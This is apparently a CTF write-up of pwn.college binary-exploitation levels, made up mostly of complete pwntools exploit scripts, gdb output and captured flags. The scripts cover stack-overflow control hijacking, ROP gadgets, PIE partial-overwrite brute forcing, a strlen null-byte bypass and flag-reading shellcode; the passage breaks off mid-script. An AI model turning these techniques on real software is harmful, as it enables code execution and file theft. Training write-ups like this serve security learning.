0x0000000000401130 setvbuf@plt
0x0000000000401140 open@plt
0x0000000000401150 exit@plt
0x0000000000401160 strerror@plt
0x0000000000401170 _start
0x00000000004011a0 _dl_relocate_static_pie
0x00000000004011b0 deregister_tm_clones
0x00000000004011e0 register_tm_clones
0x0000000000401220 __do_global_dtors_aux
0x0000000000401250 frame_dummy
0x0000000000401256 bin_padding
0x0000000000401d32 win
0x0000000000401e39 challenge
0x0000000000401f0b main
0x0000000000401fa0 __libc_csu_init
0x0000000000402010 __libc_csu_fini
0x0000000000402018 _fini

very good!

address of win

1
2
3
4
5
6
7
8
9
10
11
text:0000000000401D31 ; } // starts at 401256
.text:0000000000401D31 bin_padding endp
.text:0000000000401D31
.text:0000000000401D32
.text:0000000000401D32 ; =============== S U B R O U T I N E =======================================
.text:0000000000401D32
.text:0000000000401D32 ; Attributes: bp-based frame
.text:0000000000401D32
.text:0000000000401D32 ; int win()
.text:0000000000401D32 public win
.text:0000000000401D32 win proc near

or

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> disass win
Dump of assembler code for function win:
0x0000000000401d32 <+0>: endbr64
0x0000000000401d36 <+4>: push rbp
0x0000000000401d37 <+5>: mov rbp,rsp
0x0000000000401d3a <+8>: lea rdi,[rip+0x12c7] # 0x403008
0x0000000000401d41 <+15>: call 0x4010e0 <puts@plt>
0x0000000000401d46 <+20>: mov esi,0x0
0x0000000000401d4b <+25>: lea rdi,[rip+0x12d2] # 0x403024
0x0000000000401d52 <+32>: mov eax,0x0
0x0000000000401d57 <+37>: call 0x401140 <open@plt>
0x0000000000401d5c <+42>: mov DWORD PTR [rip+0x32de],eax # 0x405040 <flag_fd.5700>

payload = b’a’*72

payload += p64(0x401d32)

1
2
3
4
5
6
7
8
9
from pwn  import *
context = ('/challenge/binary-exploitation-control-hijack')
p = process('/challenge/binary-exploitation-control-hijack')
p.recvuntil(b"Send your payload ")
payload = b'a'*72
payload += p64(0x401d32)
#payload += p32(0)
p.send(payload)
p.interactive()

python3 1.py

Goodbye!

You win! Here is your flag:

pwn.college{EPGbj3Jm5HVIKW7qIRP73EaFm4O.dRTOywSNzEDO0EzW}

next

Tricky Control Hijack (easy)

as hints , we need win_authed’s address

utilizing pwndbg’s disass or objdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> disass win_authed
Dump of assembler code for function win_authed:
0x0000000000402022 <+0>: endbr64
0x0000000000402026 <+4>: push rbp
0x0000000000402027 <+5>: mov rbp,rsp
0x000000000040202a <+8>: sub rsp,0x10
hacker@binary-exploitation~tricky-control-hijack-easy:/challenge$ objdump -S binary-exploitation-control-hijack-2-w |grep 'win'
0000000000402022 <win_authed>:
402038: 0f 85 fe 00 00 00 jne 40213c <win_authed+0x11a>
40206e: 79 4d jns 4020bd <win_authed+0x9b>
402099: 74 18 je 4020b3 <win_authed+0x91>
4020e4: 7f 2c jg 402112 <win_authed+0xf0>
40213a: eb 01 jmp 40213d <win_authed+0x11b>
402684: 48 8d 35 97 f9 ff ff lea -0x669(%rip),%rsi # 402022 <win_authed>

good, win->0x402022

1
2
3
pwndbg> cyclic -l 0x6161616161616168
Finding cyclic pattern of 8 bytes: b'haaaaaaa' (hex: 0x6861616161616161)
Found at offset 56

offset = 56

however,check the win_authed

0x000000000040202e <+12>: mov DWORD PTR [rbp-0x4],edi

0x0000000000402031 <+15>: cmp DWORD PTR [rbp-0x4],0x1337

0x0000000000402038 <+22>: jne 0x40213c <win_authed+282>

what’s up

1
2
3
4
5
6
hacker@binary-exploitation~tricky-control-hijack-easy:/challenge$ ROPgadget --binary  binary-exploitation-control-hijack-2-w |grep 'rdi'
0x0000000000402596 : add al, ch ; movsb byte ptr [rdi], byte ptr [rsi] ; jmp 0x40259a
0x0000000000402594 : add byte ptr [rax], al ; add al, ch ; movsb byte ptr [rdi], byte ptr [rsi] ; jmp 0x40259a
0x0000000000402598 : movsb byte ptr [rdi], byte ptr [rsi] ; jmp 0x40259a
0x00000000004011e6 : or dword ptr [rdi + 0x406010], edi ; jmp rax
0x00000000004027e3 : pop rdi ; ret

find 0x00000000004027e3 : pop rdi ; ret

python3 1.py

1
2
3
4
5
6
7
8
9
from pwn  import *
context = ('/challenge/binary-exploitation-control-hijack-2-w')
p = process('/challenge/binary-exploitation-control-hijack-2-w')
p.recvuntil(b"Send your payload ")
payload = b'a'*56
payload += p64(+0x4027e3 )+p64(0x1337)+p64(0x402022 )
#payload += p32(0)
p.send(payload)
p.interactive()

Goodbye!

You win! Here is your flag:

pwn.college{8oP-tKtrRjclgo5f58hgsgWQHuR.dlTOywSNzEDO0EzW}

next

Tricky Control Hijack (hard)

pwndbg> cyclic -l 0x6161616161616174

Finding cyclic pattern of 8 bytes: b’taaaaaaa’ (hex: 0x7461616161616161)

Found at offset 152

pwndbg> disass win_authed

Dump of assembler code for function win_authed:

0x00000000004021d2 <+0>: endbr64

hacker@binary-exploitation~tricky-control-hijack-hard:/challenge$ ROPgadget –binary binary-exploitation-control-hijack-2 |grep ‘rdi’

0x00000000004011c6 : or dword ptr [rdi + 0x405010], edi ; jmp rax

0x0000000000402513 : pop rdi ; ret

as the same as before

python3 1.py

1
2
3
4
5
6
7
8
9
10
from pwn  import *
context = ('/challenge/binary-exploitation-control-hijack-2')
p = process('/challenge/binary-exploitation-control-hijack-2')
p.recvuntil(b"Send your payload ")
payload = b'a'*152
payload += p64(+0x402513 )+p64(0x1337)+p64(0x4021d2 )
#payload += p32(0)
p.send(payload)
p.interactive()

Goodbye!

You win! Here is your flag:

pwn.college{sBeWt4FOon0UIoEvrw4UlRWk2U9.dBDMzwSNzEDO0EzW}

PIEs (easy)

we can find

Dump of assembler code for function win_authed:

0x00005b19950b4d6d <+0>: endbr64

0x00005b19950b4d71 <+4>: push rbp

0x00005b19950b4d72 <+5>: mov rbp,rsp

0x00005b19950b4d75 <+8>: sub rsp,0x10

0x00005b19950b4d79 <+12>: mov DWORD PTR [rbp-0x4],edi

0x00005b19950b4d7c <+15>: cmp DWORD PTR [rbp-0x4],0x1337

0x00005b19950b4d83 <+22>: jne 0x5b19950b4e87 <win_authed+282>

0x00005b19950b4d89 <+28>: lea rdi,[rip+0x1360] # 0x5b19950b60f0

at disass win_authed

PIE start ,base address changed at each time

but offset can be confirm

offset:

1
2
3
pwndbg> cyclic -l 0x616161616161616c
Finding cyclic pattern of 8 bytes: b'laaaaaaa' (hex: 0x6c61616161616161)
Found at offset 88

offset = 88

hacker@binary-exploitation~pies-easy:/challenge$ ROPgadget –binary binary-exploitation-pie-overflow-w |grep ‘rdi’

~~0x0000000000002573 : pop rdi ; ret ~~

0x0000000000001e2e : sar byte ptr [rdi + 0x2c], 0xe8 ; retf 0xfff2

return to 0x00005b19950b4d89 <+28>: lea rdi,[rip+0x1360] # 0x5b19950b60f0

then , we can bypass the token check

1
2
3
4
5
6
7
8
9
10
11
12
from pwn  import *
context = ('/challenge/binary-exploitation-pie-overflow-w')
p = process('/challenge/binary-exploitation-pie-overflow-w')
p.recvuntil(b"Send your payload ")
payload = b'a'*88 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
payload += b"\x89\x6d" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
p.send(payload)
q = p.poll()
print(q)
p.interactive()

if no flag , try again

Goodbye!

You win! Here is your flag:

pwn.college{cB0-uBYZ3cyp7bSRZ-uxMDl8Rq7.dFDMzwSNzEDO0EzW}

next

PIEs (hard)

pwndbg> disass win_authed

Dump of assembler code for function win_authed:

0x0000000000001ab2 <+0>: endbr64

0x0000000000001ab6 <+4>: push rbp

0x0000000000001ab7 <+5>: mov rbp,rsp

0x0000000000001aba <+8>: sub rsp,0x10

0x0000000000001abe <+12>: mov DWORD PTR [rbp-0x4],edi

0x0000000000001ac1 <+15>: cmp DWORD PTR [rbp-0x4],0x1337

0x0000000000001ac8 <+22>: jne 0x1bcc <win_authed+282>

0x0000000000001ace <+28>: lea rdi,[rip+0x533]

pwndbg> cyclic -l 0x6161616161616170

Finding cyclic pattern of 8 bytes: b’paaaaaaa’ (hex: 0x7061616161616161)

Found at offset 120

finally!!!

automated script!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn  import *

context.binary = ('/challenge/binary-exploitation-pie-overflow')

while 1:
p = process('/challenge/binary-exploitation-pie-overflow')
p.recvuntil(b'(up to 4096 bytes)!\n')

payload = b'a'*120 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
payload += b"\xce\x1a" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
out = b''


p.send(payload)
out += p.recv(timeout=0.2)
if b'pwn' in out :
break
#print(out)

print(out.decode(errors='ignore'))

output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
hacker@binary-exploitation~pies-hard:~$ /run/dojo/bin/python3.12 /home/hacker/leap/1.py
[*] '/challenge/binary-exploitation-pie-overflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49727
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49727)
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49729
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49729)
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49731
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49731)
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49733
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49733)
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49735
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49735)
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49737
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49737)
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49739
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -7 (SIGBUS) (pid 49739)
Goodbye!
You win! Here is your flag:
pwn.college{gLGAW-5OC49EAq9R3_872l3GXQr.dJDMzwSNzEDO0EzW}
String Lengths (easy)

pwndbg> disass win_authed

Dump of assembler code for function win_authed:

0x0000000000002103 <+0>: endbr64

0x0000000000002107 <+4>: push rbp

0x0000000000002108 <+5>: mov rbp,rsp

0x000000000000210b <+8>: sub rsp,0x10

0x000000000000210f <+12>: mov DWORD PTR [rbp-0x4],edi

0x0000000000002112 <+15>: cmp DWORD PTR [rbp-0x4],0x1337

0x0000000000002119 <+22>: jne 0x221d <win_authed+282>

0x000000000000211f <+28>: lea rdi,[rip+0xfca] # 0x30f0

0x0000000000002126 <+35>: call 0x1150 <puts@plt>

0x000000000000212b <+40>: mov esi,0x0

as the hint

which is stored at 0x7fff2ef36c68, 72 bytes after the start of your input buffer.

That means that you will need to input at least 80 bytes (28 to fill the buffer,

44 to fill other stuff stored between the buffer and the return address,

and 8 that will overwrite the return address).

at the source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    struct
{
char input[28];
} data = {0} ;

size = 4096;
......
char *tmp_input = malloc(size);
assert(tmp_input != 0);
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, tmp_input, (unsigned long) size);
puts("Checking length of received string...");
size_t string_length = strlen(tmp_input);
assert(string_length < 28);
printf("Passed! We should have enough space for all %d bytes of it on the stack. Copying all %d received bytes!\n", string_length, received);
memcpy(&data.input, tmp_input, received);


it check the len of string , put ‘\0’ before the 27th byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn  import *

context.binary = ('/challenge/binary-exploitation-null-write-w')

while 1:
p = process('/challenge/binary-exploitation-null-write-w')
p.recvuntil(b'(up to 4096 bytes)!\n')

payload = b'a'*11 + b'\0' +b'a'*60 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
payload += b"\x1f\x61" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
out = b''


p.send(payload)
out += p.recv(timeout=0.2)
if b'pwn' in out :
break
print(out)

print(out.decode(errors='ignore'))

Goodbye!

You win! Here is your flag:

pwn.college{oRqLYiGOrqxNtfNtvaQSdKS7nBL.dNDMzwSNzEDO0EzW}

well

String Lengths (hard)

pwndbg> disass win_authed

Dump of assembler code for function win_authed:

0x0000000000001e0c <+0>: endbr64

0x0000000000001e10 <+4>: push rbp

0x0000000000001e11 <+5>: mov rbp,rsp

0x0000000000001e14 <+8>: sub rsp,0x10

0x0000000000001e18 <+12>: mov DWORD PTR [rbp-0x4],edi

0x0000000000001e1b <+15>: cmp DWORD PTR [rbp-0x4],0x1337

0x0000000000001e22 <+22>: jne 0x1f26 <win_authed+282>

0x0000000000001e28 <+28>: lea rdi,[rip+0x11d9] # 0x3008

pwndbg> r

Starting program: /challenge/binary-exploitation-null-write

Send your payload (up to 4096 bytes)!

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

binary-exploitation-null-write: /challenge/binary-exploitation-null-write.c:77: challenge: Assertion `string_length < 72’ failed.

put ‘\0’ before the 72th byte

0x00005a4b7099cf46 <+29>: mov QWORD PTR [rbp-0x70],0x0

0x00005a4b7099cf4e <+37>: mov QWORD PTR [rbp-0x68],0x0

0x00005a4b7099cf56 <+45>: mov QWORD PTR [rbp-0x60],0x0

0x00005a4b7099cf5e <+53>: mov QWORD PTR [rbp-0x58],0x0

0x00005a4b7099cf66 <+61>: mov QWORD PTR [rbp-0x50],0x0

0x00005a4b7099cf6e <+69>: mov QWORD PTR [rbp-0x48],0x0

0x00005a4b7099cf76 <+77>: mov QWORD PTR [rbp-0x40],0x0

0x00005a4b7099cf7e <+85>: mov QWORD PTR [rbp-0x38],0x0

0x00005a4b7099cf86 <+93>: mov QWORD PTR [rbp-0x30],0x0

buffer = 8*9 = 72byte

offset = 0x70 + saved rbp =120

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn  import *

context.binary = ('/challenge/binary-exploitation-null-write')

while 1:
p = process('/challenge/binary-exploitation-null-write')
p.recvuntil(b'(up to 4096 bytes)!\n')

payload = b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
out = b''


p.send(payload)
out += p.recv(timeout=0.2)
if b'pwn' in out :
break
print(out)

print(out.decode(errors='ignore'))

Goodbye!

You win! Here is your flag:

pwn.college{AArEuC5ZkTST4E8lk_-3ffQNh_M.dRDMzwSNzEDO0EzW}

Writing Shellcode

Basic Shellcode

vmmap

1
2
3
4
   0x7ffce767a000     0x7ffce769b000 rwxp    21000       0 [stack]
0x7ffce773c000 0x7ffce7740000 r--p 4000 0 [vvar]
0x7ffce7740000 0x7ffce7742000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

very good

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#import os
#os.environ['PATH'] = '/usr/bin:/bin'
#os.environ['PWNLIB_NOTERM'] = '1' # also fixes the curses/terminfo error
from pwn import *

context.binary = '/challenge/binary-exploitation-basic-shellcode'
#context.arch = 'amd64'

p = process('/challenge/binary-exploitation-basic-shellcode')
shellcode = asm('''
mov rbx, 0x67616c662f
push rbx
mov rdi, rsp

xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rdi, rax
sub rsp, 256
mov rsi, rsp
mov rdx, 256
xor rax, rax
syscall

mov rdx, rax
mov rdi, 1
mov rsi, rsp
mov rax, 1
syscall

xor rdi, rdi
mov rax, 60
syscall
''')


p.recvuntil(b'Reading 0x1000 bytes from stdin.')

#payload = shellcode #b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
#payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
#out = b''


p.send(shellcode)
#out += p.recv(timeout=0.2)
#if b'pwn' in out :
#break
#print(out)

#print(out.decode(errors='ignore'))
p.interactive()

Executing shellcode!

pwn.college{wjlJyzYfThMlmSaICG9gi-lrYbR.ddTMywSNzEDO0EzW}

Nop Sleds

set some nop before shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#import os
#os.environ['PATH'] = '/usr/bin:/bin'
#os.environ['PWNLIB_NOTERM'] = '1' # also fixes the curses/terminfo error
from pwn import *

context.binary = '/challenge/binary-exploitation-nopsled-shellcode'
#context.arch = 'amd64'

p = process('/challenge/binary-exploitation-nopsled-shellcode')
shellcode = asm('''
mov rbx, 0x67616c662f
push rbx
mov rdi, rsp

xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rdi, rax
sub rsp, 256
mov rsi, rsp
mov rdx, 256
xor rax, rax
syscall

mov rdx, rax
mov rdi, 1
mov rsi, rsp
mov rax, 1
syscall

xor rdi, rdi
mov rax, 60
syscall
''')


p.recvuntil(b'Reading 0x1000 bytes from stdin.')
payload = b'\x90'*0x800
payload += shellcode #b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
#payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
#out = b''


p.send(payload)
#out += p.recv(timeout=0.2)
#if b'pwn' in out :
#break
#print(out)

#print(out.decode(errors='ignore'))
p.interactive()

Executing shellcode!

pwn.college{0yCNJZwZWAaMMxgQQmD1QapnO0o.dhTMywSNzEDO0EzW}

NULL-Free Shellcode

have no NULL-Free in shellcode

utilizing xor?

ohhhhhhhhh

yes yes yes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#import os
#os.environ['PATH'] = '/usr/bin:/bin'
#os.environ['PWNLIB_NOTERM'] = '1' # also fixes the curses/terminfo error
from pwn import *

context.binary = '/challenge/binary-exploitation-null-free-shellcode'
#context.arch = 'amd64'

p = process('/challenge/binary-exploitation-null-free-shellcode')
shellcode = asm('''
/* Construct string "/flag" on stack */
sub rsp, 8
mov rdi, rsp
mov rbx, 0xffffffffffffffff
mov [rdi], rbx
xor rax, rax
mov [rdi+5], al /* Null terminator */
mov al, 0x2f /* '/' */
mov [rdi], al
mov al, 0x66 /* 'f' */
mov [rdi+1], al
mov al, 0x6c /* 'l' */
mov [rdi+2], al
mov al, 0x61 /* 'a' */
mov [rdi+3], al
mov al, 0x67 /* 'g' */
mov [rdi+4], al

/* Open file */
xor rsi, rsi /* O_RDONLY = 0 */
xor rdx, rdx /* mode = 0 */
xor rax, rax
mov al, 2 /* sys_open */
syscall

/* Read file */
mov rdi, rax /* fd */
xor rbx, rbx
mov bl, 1
shl rbx, 8 /* rbx = 256 */
sub rsp, rbx /* Allocate 256 bytes */
mov rsi, rsp /* buffer */
mov rdx, rbx /* count = 256 */
xor rax, rax /* sys_read = 0 */
syscall

/* Write to stdout */
mov rdx, rax /* bytes read */
xor rdi, rdi
mov dil, 1 /* stdout = 1 */
mov rsi, rsp /* buffer */
xor rax, rax
mov al, 1 /* sys_write */
syscall

/* Exit */
xor rax, rax
mov al, 60 /* sys_exit */
syscall
''')

p.recvuntil(b'Reading 0x1000 bytes from stdin.')
#payload = b'\x90'*0x800
payload = shellcode #b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
#payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
#out = b''


p.send(payload)
#out += p.recv(timeout=0.2)
#if b'pwn' in out :
#break
#print(out)

#print(out.decode(errors='ignore'))
p.interactive()

Executing shellcode!

pwn.college{U5VdW4pzywXqix4-gZ3LVwPHnMS.dlTMywSNzEDO0EzW}

Using Shellcode

Hijack to (Mapped) Shellcode (easy)

pwndbg> checksec

File: /challenge/binary-exploitation-hijack-to-mmap-shellcode-w

Arch: amd64

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: PIE enabled

SHSTK: Enabled

IBT: Enabled

Stripped: No

at disass challenge

0x00005a5f75fdd353 <+499>: mov r9d,0x0

0x00005a5f75fdd359 <+505>: mov r8d,0x0

0x00005a5f75fdd35f <+511>: mov ecx,0x22

0x00005a5f75fdd364 <+516>: mov edx,0x7

0x00005a5f75fdd369 <+521>: mov esi,0x1000

0x00005a5f75fdd36e <+526>: mov edi,0x2edca000

0x00005a5f75fdd373 <+531>: call 0x5a5f75fdc170 <mmap@plt>

we have 0x1000 for shellcode

pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA

         Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)

    0x2edca000         0x2edcb000 rwxp     1000       0 [anon_2edca]

chmod 777 , very good

0x00000000000024d8 <+888>: mov rdx,QWORD PTR [rbp-0x8]

0x00000000000024dc <+892>: lea rax,[rbp-0x80]

0x00000000000024e0 <+896>: mov rsi,rax

0x00000000000024e3 <+899>: mov edi,0x0

0x00000000000024e8 <+904>: call 0x11a0 <read@plt>

0x00000000000024ed <+909>: mov DWORD PTR [rbp-0xc],eax

0x00000000000024f0 <+912>: cmp DWORD PTR [rbp-0xc],0x0

we can find read start from rbp-0x80

so , offset = 0x80 +0x8 = 136

that’s all right

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#import os
#os.environ['PATH'] = '/usr/bin:/bin'
#os.environ['PWNLIB_NOTERM'] = '1' # also fixes the curses/terminfo error
from pwn import *

context.binary = '/challenge/binary-exploitation-hijack-to-mmap-shellcode-w'
#context.arch = 'amd64'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode-w')
shellcode = asm('''
/* Construct string "/flag" on stack */
sub rsp, 8
mov rdi, rsp
mov rbx, 0xffffffffffffffff
mov [rdi], rbx
xor rax, rax
mov [rdi+5], al /* Null terminator */
mov al, 0x2f /* '/' */
mov [rdi], al
mov al, 0x66 /* 'f' */
mov [rdi+1], al
mov al, 0x6c /* 'l' */
mov [rdi+2], al
mov al, 0x61 /* 'a' */
mov [rdi+3], al
mov al, 0x67 /* 'g' */
mov [rdi+4], al

/* Open file */
xor rsi, rsi /* O_RDONLY = 0 */
xor rdx, rdx /* mode = 0 */
xor rax, rax
mov al, 2 /* sys_open */
syscall

/* Read file */
mov rdi, rax /* fd */
xor rbx, rbx
mov bl, 1
shl rbx, 8 /* rbx = 256 */
sub rsp, rbx /* Allocate 256 bytes */
mov rsi, rsp /* buffer */
mov rdx, rbx /* count = 256 */
xor rax, rax /* sys_read = 0 */
syscall

/* Write to stdout */
mov rdx, rax /* bytes read */
xor rdi, rdi
mov dil, 1 /* stdout = 1 */
mov rsi, rsp /* buffer */
xor rax, rax
mov al, 1 /* sys_write */
syscall

/* Exit */
xor rax, rax
mov al, 60 /* sys_exit */
syscall
''')

p.recvuntil(b'Reading 0x1000 bytes of shellcode from stdin.')
payload = b'\x90'*136 + p64(0x2edca000)
#payload = shellcode #b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
#payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
#out = b''


p.send(shellcode)
p.recvuntil(b'Press enter to continue!\n')
p.send(b'\n')
p.recvuntil(b'Send your payload (up to 4096 bytes)!\n')
#out += p.recv(timeout=0.2)
#if b'pwn' in out :
#break
#print(out)

#print(out.decode(errors='ignore'))
p.sendline(payload)

p.interactive()

Goodbye!

pwn.college{Q233psvh0M2CZcfBwyvyV4M-3Cs.dlTMzwSNzEDO0EzW}

Hijack to (Mapped) Shellcode (hard)

as the same as easy

0x00000000000016a0 <+72>: mov r9d,0x0

0x00000000000016a6 <+78>: mov r8d,0x0

0x00000000000016ac <+84>: mov ecx,0x22

0x00000000000016b1 <+89>: mov edx,0x7

0x00000000000016b6 <+94>: mov esi,0x1000

0x00000000000016bb <+99>: mov edi,0x2792e000

0x00000000000016c0 <+104>: call 0x1100 <mmap@plt>

pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA

         Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)

    0x2792e000         0x2792f000 rwxp     1000       0 [anon_2792e]

0x00000000000017a1 <+329>: lea rax,[rbp-0x30]

0x00000000000017a5 <+333>: mov rsi,rax

0x00000000000017a8 <+336>: mov edi,0x0

0x00000000000017ad <+341>: call 0x1130 <read@plt>

offset = 0x30 + 0x8 = 56

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#import os
#os.environ['PATH'] = '/usr/bin:/bin'
#os.environ['PWNLIB_NOTERM'] = '1' # also fixes the curses/terminfo error
from pwn import *

context.binary = '/challenge/binary-exploitation-hijack-to-mmap-shellcode'
#context.arch = 'amd64'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode')
shellcode = asm('''
/* Construct string "/flag" on stack */
sub rsp, 8
mov rdi, rsp
mov rbx, 0xffffffffffffffff
mov [rdi], rbx
xor rax, rax
mov [rdi+5], al /* Null terminator */
mov al, 0x2f /* '/' */
mov [rdi], al
mov al, 0x66 /* 'f' */
mov [rdi+1], al
mov al, 0x6c /* 'l' */
mov [rdi+2], al
mov al, 0x61 /* 'a' */
mov [rdi+3], al
mov al, 0x67 /* 'g' */
mov [rdi+4], al

/* Open file */
xor rsi, rsi /* O_RDONLY = 0 */
xor rdx, rdx /* mode = 0 */
xor rax, rax
mov al, 2 /* sys_open */
syscall

/* Read file */
mov rdi, rax /* fd */
xor rbx, rbx
mov bl, 1
shl rbx, 8 /* rbx = 256 */
sub rsp, rbx /* Allocate 256 bytes */
mov rsi, rsp /* buffer */
mov rdx, rbx /* count = 256 */
xor rax, rax /* sys_read = 0 */
syscall

/* Write to stdout */
mov rdx, rax /* bytes read */
xor rdi, rdi
mov dil, 1 /* stdout = 1 */
mov rsi, rsp /* buffer */
xor rax, rax
mov al, 1 /* sys_write */
syscall

/* Exit */
xor rax, rax
mov al, 60 /* sys_exit */
syscall
''')

p.recvuntil(b'Reading 0x1000 bytes of shellcode from stdin.')
payload = b'\x90'*56 + p64(0x2792e000)
#payload = shellcode #b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
#payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
#out = b''


p.send(shellcode)
p.recvuntil(b'Press enter to continue!\n')
p.send(b'\n')
p.recvuntil(b'Send your payload (up to 4096 bytes)!\n')
#out += p.recv(timeout=0.2)
#if b'pwn' in out :
#break
#print(out)

#print(out.decode(errors='ignore'))
p.sendline(payload)

p.interactive()

Goodbye!

pwn.college{88-tvsR0J1STJTfbZWdUqrBTZaz.dBjMzwSNzEDO0EzW}

Hijack to Shellcode (easy)

at disass challenge

0x0000000000402738 <+660>: lea rax,[rbp-0x30]

0x000000000040273c <+664>: mov rsi,rax

0x000000000040273f <+667>: mov edi,0x0

0x0000000000402744 <+672>: call 0x401150 <read@plt

offset = 0x30 + 0x8 = 56

pwndbg> checksec

File: /challenge/binary-exploitation-hijack-to-shellcode-w

Arch: amd64

RELRO: Full RELRO

Stack: No canary found

NX: NX unknown - GNU_STACK missing

PIE: No PIE (0x400000)

Stack: Executable

RWX: Has RWX segments

SHSTK: Enabled

IBT: Enabled

Stripped: No

sooo, i can put shellcode after the return address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import os
os.environ['PATH'] = '/usr/bin:/bin'
